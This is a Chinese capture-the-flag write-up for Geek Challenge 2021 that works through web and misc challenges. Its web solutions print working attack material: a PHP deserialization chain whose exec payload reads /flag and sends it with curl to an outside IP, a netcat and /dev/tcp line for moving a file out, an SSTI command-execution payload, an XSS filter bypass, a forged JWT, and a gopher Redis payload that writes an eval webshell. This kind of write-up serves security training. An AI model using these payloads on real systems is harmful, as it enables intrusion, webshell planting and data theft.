- 0.1:Web
- 0.2:MISC
极客大挑战2021 wp
Web
1.Dark
使用洋葱浏览器打开题目所给的url,查看源码即可得到flag。
2.Welcome2021
F12发现hint:
burp抓包更改请求方式为WELCOME,打开f1111aaaggg9.php,可以在文件头看到
Welcome_Flag: SYC{WeLcom3_t0_Geek_2o21!!}
3.babysql
这题是一道基于时间的sql盲注,如果不会写脚本没关系,这题是可以用sqlmap跑出来的,浪费一点时间而已。
4.babyPOP
简单的反序列化,反序列化时触发wakeup(),同时还有destruct(),destruct()中存在一个函数调用,会触发d类中的invoke(),invoke中return了一个字符串,从而触发了toString(),最后通过exec可以实现RCE,需要说明的是exec是不存在回显的,所以我们可以通过反弹shell或者带外管道的方式获取flag,POC如下(管道做的):
<?php
class a {
public $l;
public static $Do_u_like_JiaRan = true;
public static $Do_u_like_AFKL = true;
}
class b {
private $i_want_2_listen_2_MaoZhongDu="data=$(cat /flag | base64);curl http://47.103.121.189/?data=data;";
public function __toString()
{
if (a::$Do_u_like_AFKL) {
return exec($this->i_want_2_listen_2_MaoZhongDu);
} else {
throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
}
}
}
class c {
public $pop;
public function __wakeup()
{
a::$Do_u_like_JiaRan = true;
}
}
class d {
public function __invoke()
{
a::$Do_u_like_AFKL = true;
return "关注嘉然," . $this->value;
}
}
class e {
public $afkl;
public function __destruct()
{
if (a::$Do_u_like_JiaRan) {
($this->afkl)();
} else {
throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
}
}
}
$a=new c;
$b=new e;
$c=new d;
$d=new b;
$e=new a;
$e->l=$a;
$a->pop=$b;
$b->afkl=$c;
$c->value=$d;
echo serialize($a);
POC打不通正常,这个是我测试用的,打通的POC给我删了。。。
5.where_is_my_FUMO
这题是个正经的反弹shell,因为exec里的语句是写死了的,这段exec的意思是,我可以在攻击机上面执行在被攻击机上的命令,但是攻击机上不会有回显,可以考虑反弹shell之后外带,但是这是个图片,所以不好带,所以可以直接再起一个监听,用来收发文件:
nc -lvvnp 1234 > flag.png //自己服务器
cat /flag.png >/dec/tcp/xxxxx/1234 //肉鸡
至于addr和port怎么传的,GET里面传个data数组就行了。
6.babyphp
f12看到提示robots,访问robots.txt,找到/noobcurl.php,跟进,发现源代码,经典ssrf,而且没有过滤。
这题是在givemeyoulove后面做的,之前看了一堆ssrf的文章,这题直接用file:///flag
秒了。
SYC{U_4N0vv_Ss4f_3ovv~}
7.babypy
这题是个非常简单的SSTI,同样没有任何过滤,可以用hackbar自带的SSTI模块中的RCE秒
{{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}
SYC{The_SsTi_1s_V3ry_funNy!}
8.蜜雪冰城甜蜜蜜
被这题烦了好久,偶然间一个瞎搞的想法居然做出来了。
f12,将随意一个饮料的id改成9,然后点这杯饮料,flag就出来了:
SYC{N1_A1_W0_Ya_W0_L0vE_Ni!}
9.雷克雅未克
EDG夺冠的地方埋着flag,这题就是伪造ip和cookie,而且提示给的太露骨了,直接X-FORWARDED-FOR就给了提示,还给了个ip反查经纬度的网站,抓包改请求头就能出flag。伪造ip用的是XFF,伪造经纬度用的是cookie,在check.php里认证一下之后会返回一串jsfuck编码,直接复制到浏览器的控制台回车即可拿到flag:
SYC{Welc0me_Rey_k_jav1_k}
10.人民艺术家
这题是个JWT伪造
做了好久没出,最后发现secret得自己手动爆破,找了个脚本。脚本用的是c写的jwtcrack,secret爆出来是1234
,去jwt.io
解密一下原始字符串,更改数据之后用拿到的secret加密回去,在请求头中添加:
JWT:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0aW1lIjoiMjAxOSIsIm5hbWUiOiJhZG1pbiJ9.WInN2vLaV6NMMsfu-6-foUOZ8trV9Ll2RsZ_gGd8Idk
放包会拿到flag所在的文件名fffffffffffffffffffffffffffffffflaggggu9821347981.php
,打开文件即可拿到flag:
SYC{X1a0_Ch0u_hello_Why_S0_Ser10us}
11.babyxss
这题表面上是过滤了alert,但是仔细一看,替换alert为空只有一次,所以可以双写绕过,console.log可以利用闭合和分号绕了:
");alealertrt(1);</script>
Syc{W4lc0me_t0_the_w0rld_0f_x3s.}
12.Baby_PHP_Black_Magic_Enlightenment
经典php黑魔法,第一关用的是php弱类型,参数传入10000a
就能过,10000加个a,PHP在比较时会将其转化为与比较值相同的数据类型,而10000a本身不是数字而是个字符串。进baby_magic.php;第二关是个经典的sha1绕过,数组绕过即可,因为sha1函数无法解析数组,如果传入数组,返回值就是NULL,两个NULL相比肯定是相等的。进baby_revenge.php;第三关可以利用sha1碰撞来打,payload太长不放这了,可以在网上搜Google找到的第一例sha1碰撞的payload来打。进here_s_the_flag.php;第四关就是经典的urlencode的二次编码绕过,把e编码两次为%25%36%35就可以拿到flag:
flag{PHP_1s_fu1king_awesome}
13.givemeyourlove
这题也是一道ssrf,但是过滤和file,dict等伪协议,这就非常难受了,而且是打内网redis,想着网上能不能找到东西一把梭,hint里面给的一个文章确实是可以的,而且不需要任何生成gopher协议标准payload的脚本,直接在bp里面二次urlencode就能打,记得hint里面给了密码,所以这题是有认证的redis,payload中要把认证的密码加上。思路就是在内网写一个webshell,然后形成RCE从而拿到flag。
*2
$4
auth
$6
123123
*1
$8
flushall
*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*3
$3
set
$8
webshell
$28
<?php @eval($_GET['cmd']);?>
*1
$4
save
//以上是需要二次url编码的部分,编码完成之后用?url=gopher://127.0.0.1:6379/_...来传入
//写入马之后访问shell.php并传入cmd=system('cat /flag')
14.SoEzUnser
这题也是一个ssrf的题,首先伪协议拿到hint,说我们得先找到一个当前目录下的页面,并post一个message和url,这就是利用两个原生类:DirectoryIterator和SoupClient类来构造POP,前者是用来查看当前目录下的文件,后者是用来发送POST请求,下面贴下POC:
<?php
class fxxk{
public $par0;
public $par1;//'/www/wwwroot/ctf.rigelx.top/unserbucket/aaaaaaaaaaafxadwagaefae';
public $par2;//="array('location' => 'http://127.0.0.1/unserbucket/aaaaaaaaaaafxadwagaefae/UcantGuess.php','user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',array(c,'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93');).'^^Content-Length: '. (string)strlen('message=iwantflag&url=http://47.103.121.189:2333').'^^^^'.'message=iwantflag&url=http://47.103.121.189:2333','uri'=>'text')";
public $par3;//='unser';
public $kelasi;
}
$target = "http://127.0.0.1/unserbucket/aaaaaaaaaaafxadwagaefae/UcantGuess.php";
$post_string = 'message=iwantflag&url=http://47.103.121.189:2333';
$a=new fxxk;
$a->par0='SoapClient';
$a->par1=null;
$a->par2=array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string,'uri'=>'hello');
$a->par3='unser';
//$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string,'uri'=>'hello'));
$aaa = serialize($a);
$aaa = str_replace('^^',"\r\n",$aaa);
echo urlencode($aaa);
?>
15.validation
感谢fk师傅教会我手输验证码,手输1000次验证码,历经三个小时:
SYC{1f_u_are_see1ng_this_c0ntact_qq_B361g3799}
因为能力有限,所以web就只做到这里。
MISC
这里说明一下Coding题不归我管[doge]。
1.In the Air
整活题,还好我招新的时候连了WIFI[doge]。
2.easysend
用那个狐狸头的插件,发送0.1Rospten测试币到指定的地址,会返回一个哈希值,粘贴到给的网站上可以得到flag。
3.这是什么命令
无意中打开了执行的vps的2333端口中的flag.txt,发现了题目描述中的flag.txt,然后根据题目中给的指令逆一下就可以得到原始的flag.png,当然还有一把梭的版本:
curl http://110.42.233.91:2333/flag.txt | sort -n | tac | awk -F ' ' '{print $2}' | base64 -d | base64 -d > flag.png ; img2txt flag.png --nocolor --nohtml --maxLen=30
4.easycreat
利用Remix环境就可以部署合约,依然要用到狐狸头插件,Remix里面要注意版本,exp找不到了就不贴在这了。
5.今天有被破防吗?
这题给的文件很是工整,而且每个像是16进制,转成10进制,每个数都不超过255,很难不让人想到RGB,可以用Python来转换:
from PIL import Image
x = 1080
y = 1080
im = Image.new("RGB",(x,y))
file = open('ans.txt')
for i in range(0,x):
for j in range(0,y):
line = file.readline()
rgb = line.split(" ")
im.putpixel((i,j),(int(rgb[0],16),int(rgb[1],16),int(rgb[2],16)))
im.show()
弄出来的图是乱的,咱比较菜,直接手动扣下来图然后拼一下(bushi)。
6.说实话挺好玩的,不是吗?
拿到压缩包,有一个加密的ans.docx,直接用passware爆破,爆出来个六位数密码,打开之后只有一句话,下意识的拖了一下,发现下面有东西,应该是空格和tab合在一起的隐写,以为是摩斯电码或者是二进制,但是都碰壁了,后来发现了snow隐写,正好我有这个工具,把内容复制到一个txt文件中,使用snow解码就能拿到flag。
7.SGA Character
一眼看出来这是标准银河字母,对着字母表直接手翻了一遍,结果前面都是废话,只有最后一句是flag。。
congratulations you have mastered the essence of this symbol.
the standard galactic alphabet is a writing system used throughout
the commander keen series. it is a simple substitution cypher where each letter in the
latin alphabet has been substituted with a different symbol. here is your flag am4z1ngsga1ng4m3
8.圣嘉然
拿到一个ans2,毫无下手空间,用010打开发现了叫我们用winRAR打开,于是我下意识的就把RAR的文件头补上去了,但是winRAR打开之后什么也没有,用ntfs数据流扫了一下,里面确实有东西,于是我用7z打开,里面确实有个txt,打开之后,很明显的Emoji编码
(这里要把文字删掉)
解码之后是一个栅栏密码,遍历了所有的栅栏层数之后可以得到flag。
9.每日一溜
打开之后发现是个流量包,wireshark打开之后,找到了一个发送图片的记录,顺手把图片弄了下来,010看了一眼,后面有个1.txt,直接把图片改成rar,弄出来了1.txt,得到了一大串base64编码,但是只能解出来一行,其他的解的都是乱码,仔细看了解出来的那行,正好64位,而且和base64的表特别像,考虑是魔改的base64,换表,用解出来的那行表来解后面的加密,网上可以找base64实现的程序,把表换成自己的表跑一下就行。
10.三叶草聚会
这题一开始还没看到有一个学git,和队友探讨了一下,我们找到了一个邮箱,联想到ssh key,想到可能是用来免密登录的,而且队友在GitHub上找到了SycloverParty,猜想就是从SycloverParty的私有仓库中clone文件,而给的key就是我们假装自己是Syclover的人,拿到可以访问私有仓库的权限。
这里具体的配置就不多说了,就是要在.ssh里放一个config文件,自己配置,利用给的私钥将cake clone下来,但是打开cake中的flag之后发现,这是个假的flag,正当我想着是不是有可能出了cake还有别的东西的时候,我想起了之前在CTFHub上做的git泄露题目,有一步是查看log,我们git log一下
果然有东西,将secret回溯到上一版本,重新打开cake中的flag,真正的flag就拿到了,还有个小彩蛋hhh。
11.EzForensics
一道貌似挺简单的内存取证。
首先找默认浏览器的浏览记录,默认浏览器应该是ie浏览器,尝试iehistory无果,直接把进程dump下来,strings查看,并用grep筛了一下
拿到了域名,后来被告知这一点被我非预期了(爽qwq),第二点,找一个下载过的很怪的文件,直接filescan配合grep拿到文件名,至于为什么觉得怪(,我也不知道。
第三个是拿hostname,一开始查注册表查到ComputerName,以为拿到正确的了,后来发现不对,查了一下,注册表里面的计算机名和Hostname不一样而且不在一个地方,根据搜到的文章找到了hostname,果然只是大小写不一样。最后一个就是登录在1里面找到的域名,看看有个什么幺蛾子,用户名和密码要用mimikatz这个插件才能跑出来,不能hashdump之后用彩虹表暴力跑,跑不出来的(别问我怎么知道的)。
登录之后下载了一个音频文件,一听以为是dtmf,转换了一下,满心欢喜的交了md5的结果上去,结果说flag错了,保证前面没啥问题之后,我又仔细听了一遍,特别耳熟,而且中间还有断开的地方,这不就是摩斯电码吗!转换了一下,拿到secret:yyds,然后把所有的结果合在一起,md5之后拿到flag。
焯